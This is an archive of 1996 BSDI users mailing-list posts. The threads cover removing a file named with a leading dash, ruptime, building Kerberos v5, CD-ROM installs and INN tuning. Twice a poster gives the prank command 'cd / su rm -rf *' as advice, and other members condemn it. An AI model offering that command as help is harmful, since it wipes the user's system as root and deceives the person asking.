Glover cc: Randy Bush , bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 16:15:13 -0500 (EST) This is one case where the damn man pages, the unix essentials and everyother little trick out there didn't work. I did finally get rid of it though. Aside from everyone wonderful ideas which I do truely appreciate, the only way to remove it was to go into emacs and delete it. I thank whoever suggested it. sorry for all the spam on this thread, I certainly didn't expect so much publicity. but I thank everyone and apologize to the few of you who got irritated brian On Sat, 30 Nov 1996, Tom Glover wrote: > > What makes this one especially bad is a "man rm" reveals:- > > Users often wonder how to deal with filenames that begin with ``-'', giv- > en that arguments that begin with ``-'' are usually treated as flags. > The special flag ``--'' tells programs not to interpret following > arguments as flags. Thus, to delete a file named ``-foo'', type: > > rm -- -foo > > So not only are people posting non-BSDI specific questions to a BSDI users > list they're failing, once again, to follow some of the basic principle. > That is READ THE FUCKING MANUAL. I'm one of the ones who share Randy's > frustration. Unix newbie questions belong on comp.unix.misc or wherever. > Not here. > > On Sat, 30 Nov 1996, Randy Bush wrote: > > > > What kind of shit is this. This is totally assinine. > > > I cant believe you would suggest this. > > > > that's what many of us think of posting unix newbie questions to the BSDI > > list and then having all the other unix newbies try to answer it. > > > > are we catching on yet? > > > > -- > Regards, > Tom > ________________________________________________________________________ > | "The Egg Domain" | "And all you touch and all you see, | > | tomg@egg.com | is all your life will ever be." | > | http://www.egg.com/ | (Pink Floyd) | > > > From VM Sun Dec 1 18:04:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1014" "Mon" "18" "November" "1996" "13:09:40" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "30" "ruptime info" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA24370 for ; Sat, 30 Nov 1996 16:46:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA06502 for bsdi-users-outgoing; Sat, 30 Nov 1996 16:36:16 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: ruptime info Date: Mon, 18 Nov 1996 13:09:40 -0500 (EST) I'm trying to setup ruptime into my ~.login to obviously display the up status of the local computers on the network. This computer was already given to my with ruptime already setup with a few computers setup in /var/rwho I need to know how to setup more computers in /var/rwho I tried looking at the man pages, but it covered everything BUT how to setup more computers. Anyhow.. any help would be appreciated. BTW: I know nothing about tcsh scripting, I am thinking of making a script that outputs similar to 'top' where it is a realtime display of all active processes. can anyone give me a hand to write a script that will update ruptime every 5 seconds or so and display it similarly to top. I jsut plan to run it in a seperate window in X. Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA -=- carrera@idirect.com From VM Sun Dec 1 18:04:22 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["366" "Sat" "30" "November" "1996" "16:59:09" "-0500" "Cat Okita" "cat@uunet.ca" nil "13" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA24915 for ; Sat, 30 Nov 1996 17:03:57 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id QAA06551 for bsdi-users-outgoing; Sat, 30 Nov 1996 16:59:43 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Randy Bush cc: Brian Backer , bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 16:59:09 -0500 On Sat, 30 Nov 1996, Randy Bush wrote: > that's what many of us think of posting unix newbie questions to the BSDI > list and then having all the other unix newbies try to answer it. > > are we catching on yet? We've definately caught on to one thing...which is that both of you should take this discussion offline. Cat Okita System Administrator, UUNET Canada From VM Sun Dec 1 18:04:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["291" "Sat" "30" "November" "1996" "14:21:21" "-0800" "Les Fenison" "les@cybcon.com" nil "17" "Re: k5" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25724 for ; Sat, 30 Nov 1996 17:29:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA06577 for bsdi-users-outgoing; Sat, 30 Nov 1996 17:21:34 -0500 (EST) Message-Id: <199611302221.OAA22821@cybcon.com> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Les Fenison" Sender: owner-bsdi-users@lists.gateway.com To: "Randy Bush" , "BSDI users list" Subject: Re: k5 Date: Sat, 30 Nov 1996 14:21:21 -0800 cd / su rm -rf * if that does not work, go read the unix new users faq ---------- > From: Randy Bush > To: BSDI users list > Subject: k5 > Date: Saturday, November 30, 1996 5:00 AM > > anyone successfully made and installed kerberos v5? > > randy From VM Sun Dec 1 18:04:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["230" "Sat" "30" "November" "1996" "17:27:31" "-0500" "Cat Okita" "cat@uunet.ca" nil "9" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25731 for ; Sat, 30 Nov 1996 17:29:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA06608 for bsdi-users-outgoing; Sat, 30 Nov 1996 17:28:01 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 17:27:31 -0500 On Sat, 30 Nov 1996, Brian Backer wrote: > UUnet sys admin does uunet use WIN_NT???? they must!!!! Along with SunOS, Solaris, BSDi, IRIX... Was there a point here? *grin* Cat Okita System Administrator, UUNET Canada From VM Sun Dec 1 18:04:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["242" "Sat" "30" "November" "1996" "14:25" "PST" "Randy Bush" "randy@psg.com" nil "14" "Re: k5" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25745 for ; Sat, 30 Nov 1996 17:30:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA06591 for bsdi-users-outgoing; Sat, 30 Nov 1996 17:25:29 -0500 (EST) Message-Id: References: <199611302221.OAA22821@cybcon.com> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: "Les Fenison" Cc: "BSDI users list" Subject: Re: k5 Date: Sat, 30 Nov 96 14:25 PST >> anyone successfully made and installed kerberos v5? > cd / > su > rm -rf * > > if that does not work, go read the unix new users faq did that. still did not make. so have done a bit of hacking and now it does. thanks, though. randy From VM Sun Dec 1 18:04:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["503" "Sat" "30" "November" "1996" "17:15:46" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "22" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA25749 for ; Sat, 30 Nov 1996 17:30:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id RAA06585 for bsdi-users-outgoing; Sat, 30 Nov 1996 17:25:11 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: Cat Okita cc: bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 17:15:46 -0500 (EST) UUnet sys admin does uunet use WIN_NT???? they must!!!! On Sat, 30 Nov 1996, Cat Okita wrote: > On Sat, 30 Nov 1996, Randy Bush wrote: > > that's what many of us think of posting unix newbie questions to the BSDI > > list and then having all the other unix newbies try to answer it. > > > > are we catching on yet? > > We've definately caught on to one thing...which is that both of you should > take this discussion offline. > > Cat Okita > System Administrator, UUNET Canada > > From VM Sun Dec 1 18:04:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["715" "Sat" "30" "November" "1996" "13:11:42" "-0800" "Jason Ruffner" "jason@iccom.net" nil "24" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA28186 for ; Sat, 30 Nov 1996 19:09:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA06763 for bsdi-users-outgoing; Sat, 30 Nov 1996 19:01:56 -0500 (EST) X-Sender: jason@pop.zzz.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: jason@iccom.net (Jason Ruffner) Sender: owner-bsdi-users@lists.gateway.com To: randy@psg.com (Randy Bush) Cc: bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 13:11:42 -0800 While I laughed pretty hard I think you may have been pretty hard on him. If he had done this he would have had a hard lesson to learn and may have missed the point. Granted it would be nice if these newbies would read a general UNIX book frist. Jason >> What kind of shit is this. This is totally assinine. >> I cant believe you would suggest this. > >that's what many of us think of posting unix newbie questions to the BSDI >list and then having all the other unix newbies try to answer it. > >are we catching on yet? Internet Communications Dialup PPP, Web & Dedicated Services Jason Ruffner Phone: (503)848-8139 http://www.iccom.net Fax: (503)591-0488 From VM Sun Dec 1 18:04:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1445" "Sat" "30" "November" "1996" "16:02" "PST" "Randy Bush" "randy@psg.com" nil "53" "Re: k5" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA28191 for ; Sat, 30 Nov 1996 19:10:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA06769 for bsdi-users-outgoing; Sat, 30 Nov 1996 19:02:27 -0500 (EST) Message-Id: References: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Tom Glover Cc: BSDI users list Subject: Re: k5 Date: Sat, 30 Nov 96 16:02 PST >> anyone successfully made and installed kerberos v5? > If that's on BSD/OS 2.1 please let me know what you did. I tried a make a > while back and ran in to problems and haven't had time to revisit. The following will get it to compile. I can't install right now, as it's too close to airplane time for such changes. With thanks to a few of the usual suspects: o Doug Maxey o Wolfgang Rupprecht - - - - - - - - - - - - - - c u t h e r e - - - - - - - - - - - - - - use gmake # it's them parochial athenians ./configure --with-cc=shlicc2 --with-ccopts=-O2 # assuming you're the sharing speed freak sort touch /usr/include/malloc.h # or edit a bunch of files apply the following, as thyme marches on *** src/appl/bsd/loginpaths.h~ Tue Apr 30 20:17:39 1996 --- src/appl/bsd/loginpaths.h Sat Nov 30 15:41:25 1996 *************** *** 59,64 **** --- 59,69 ---- #define RPATH "/usr/bin:/bin" #endif + #ifdef __bsdi__ + #define LPATH "/usr/bin:/bin" + #define RPATH "/usr/bin:/bin" + #endif + #ifdef __alpha #ifdef __osf__ #define LPATH "/usr/bin:." make # if you're the pushy goal oriented sort make check # payable to me, of course # i have not done the DejaGnu tests - - - - - - - - - - - - - - c u t h e r e - - - - - - - - - - - - - - Hope this helps. We now return you to unix.newuser.questions and the Les Fenison wannabe show. randy From VM Sun Dec 1 18:04:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2540" "Sun" "24" "November" "1996" "14:17:24" "-0500" "Jason Lixfeld" "carrera@idirect.com" nil "77" "Re: Installing BSD/OS from panasonic CDROM" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA29006 for ; Sat, 30 Nov 1996 19:34:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id TAA06816 for bsdi-users-outgoing; Sat, 30 Nov 1996 19:31:32 -0500 (EST) X-Authentication-Warning: hometown.idirect.com: carrera owned process doing -bs In-Reply-To: <3.0.1.32.19961124091825.006abd58@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jason Lixfeld Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: info-bsdi-users@rutgers.edu Subject: Re: Installing BSD/OS from panasonic CDROM Date: Sun, 24 Nov 1996 14:17:24 -0500 (EST) I'm not sure if it is atapi because it runs off of a panasonic interface from a sound board, as opposed to an IDE interface.. On Sun, 24 Nov 1996, Kent Ketell wrote: > Isn't the Panasonic an ATAPI device? If so, you should have no problems > with it. I had an ATAPI Matsushita 2x on my system for quite some while > with no grief. > > -Kent- > > > At 07:56 AM 11/24/96 UTC, Jason Lixfeld wrote: > >I am trying to install BSD/OS 2.0 on a P120, 24MB RAM, 1.2GB Disk, and of > >all things, a Panasonic 2x CDROM (matsushita). The problem is, in the > >manual it states that only mitsumi cdroms are supported. Does this mean > >that I am out of luck, or is there a way that I can install it with my > >current configuration? In the manual also, it states that the i/o and IRQ > >have to be at 0x334, 0x340, irq 2/9. The Panasonic is on i/o 0x300 and > >the standard IRQ of 15 I think. The CDROM drive is not running off of an > >IDE interface. It is running off of a Panasonic interface. I used to > >have FreeBSD 2.1.5 installed on this system. Now then the device for the > >CDROM was /dev/matcd BSD/OS only shows as having /dev/mcd0 and this > >confuses me! Basically, I tried the manual's suggestion of changing the > >kernel configuration at the boot: prompt (after interupting the boot > >during the read from BOOT DISK 1). I changed it to 'boot: -dev mcd0 > >port=0x300 irq=15' trying to get it to read it at the current > >configuration with no luck. Basically when I choose cdrom as the media, > >it says: mount local cdrom: mcd0 ... mount_iso9660: /dev/mcd0a on cdrom. > >Filesystem type not configured. <-- that is a summary of the error > >message I get before it dumps me to a shell. If there are any tricks that > >I could do to get this thing working, I would be very interested to learn > >them and get this ball rolling! > > > >Thanks in advance... > > > >Regards, > > > >Jason A. Lixfeld > >-=- > >IDBS Administration > >System Administrator > >Client Services Representative > >Systems Liason > >-=- > >Internet Direct o/a ComputerLink Online Inc. > >5415 Dundas Street West Suite 301 > >Etobicoke, ON M9B 1B5 > >CANADA > >[416] 233.7150 {V} > >[416] 233.6970 {F} > >-=- > >carrera@idirect.com > > > > > > > Regards, Jason A. Lixfeld -=- IDBS Administration System Administrator Client Services Representative Systems Liason -=- Internet Direct o/a ComputerLink Online Inc. 5415 Dundas Street West Suite 301 Etobicoke, ON M9B 1B5 CANADA [416] 233.7150 {V} [416] 233.6970 {F} -=- carrera@idirect.com From VM Sun Dec 1 18:04:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1196" "" "30" "November" "1996" "19:16:57" "-0800" "John Henders" "jhenders@wimsey.com" nil "26" "Re: INN misc. (was Re: Inn: articles no longer in history file)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA03470 for ; Sat, 30 Nov 1996 22:25:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA07011 for bsdi-users-outgoing; Sat, 30 Nov 1996 22:17:14 -0500 (EST) Path: van-bc!not-for-mail Newsgroups: local.bsdi-users Organization: Wimsey Information Services Lines: 25 Distribution: local Message-ID: <57qtb9$596@vanbc.wimsey.com> References: <199611270158.CAA27070@emma.isdnet.net> X-Newsreader: NN version 6.5.0 #3 (NOV) Precedence: bulk From: jhenders@wimsey.com (John Henders) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: INN misc. (was Re: Inn: articles no longer in history file) Date: 30 Nov 1996 19:16:57 -0800 In <199611270158.CAA27070@emma.isdnet.net> david@isdnet.net writes: >The only diff is on news2: > 455 news 68 5 26M 21M run 42.2H 21.44% 21.44% innd >but on news1: >15228 news -6 5 27M 22M sleep 28.1H 4.25% 4.25% innd >So news2's innd seems to eat up more CPU than news1's. This seems odd to me, because I would think a server in xreplic input mode would use less cpu. I haven't looked at the code, but it seems to me that xreplic implies only one source of articles and no need to look anything up in the history file. Your disk bandwidth should be fine. I have 2 machines with Atlas's and a similar layout of the file systems and they keep up to a full feed fine. If the slave machine is going to be a reader, you definately want overview, and I highly suggest not putting it on the news spool, but as you're currently running without, that should actually reduce disk i/o bandwidth. One thing you could try, though I don't know how much use it would be in this case, is to split the feed in 3. Try feeding alt, alt.binaries and everything else in 3 seperate feeds and see if that helps or hurts. -- John Henders - System Administrator - Mindlink!/Wimsey From VM Sun Dec 1 18:04:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["507" "Sat" "30" "November" "1996" "21:51:22" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "25" "Re: ******* Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06443 for ; Sun, 1 Dec 1996 00:12:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA07059 for bsdi-users-outgoing; Sat, 30 Nov 1996 23:51:48 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: Randy Bush , bsdi-users@BSDI.COM Subject: Re: ******* Re: files with a - in them Date: Sat, 30 Nov 1996 21:51:22 -0700 (MST) No kidding, saying those kind of things is acting like a stupid Linux weenie. On Sat, 30 Nov 1996, Brian Backer wrote: > > What kind of shit is this. This is totally assinine. > I cant believe you would suggest this. > > On Sat, 30 Nov 1996, Randy Bush wrote: > > > > The exact file name is -vGgZ{ > > > every time I try someones recomendation, it either says > > > no match or missing } > > > > cd / > > su > > rm -rf * > > > > if that does not work, go read the unix new users faq > > > From VM Sun Dec 1 18:04:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["315" "Sat" "30" "November" "1996" "18:09:01" "GMT" "Moaz Ata" "ata@thepentagon.com" nil "12" "FOR SALE - BSDI Internet Server Software V. 2.1 - 16 User License." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA07801 for ; Sun, 1 Dec 1996 01:04:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id AAA07135 for bsdi-users-outgoing; Sun, 1 Dec 1996 00:50:37 -0500 (EST) Path: vixen.cso.uiuc.edu!news.uoregon.edu!news.mem.bellsouth.net!news.clt.bellsouth.net!news.atl.bellsouth.net!usenet Newsgroups: info.bsdi.users Organization: BellSouth.Net Lines: 12 Message-ID: <32a07834.13208494@news.atl.bellsouth.net> Reply-To: ata@thepentagon.com NNTP-Posting-Host: d00956.atl.bellsouth.net X-Newsreader: Forte Free Agent 1.1/32.230 Precedence: bulk From: ata@thepentagon.com (Moaz Ata) Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: FOR SALE - BSDI Internet Server Software V. 2.1 - 16 User License. Date: Sat, 30 Nov 1996 18:09:01 GMT FOR SALE - BSDI Internet Server Software V. 2.1 - 16 User License. Have a Brand New BSDi/OS ver 2.1 Internet Server Software (CD-ROM) by Berkley Software Design, Inc. It has a 16 User License. Quote a Price. Market Value is $900. Will sell real cheap. If interested send E-mail to ata@thepentagon.com Adious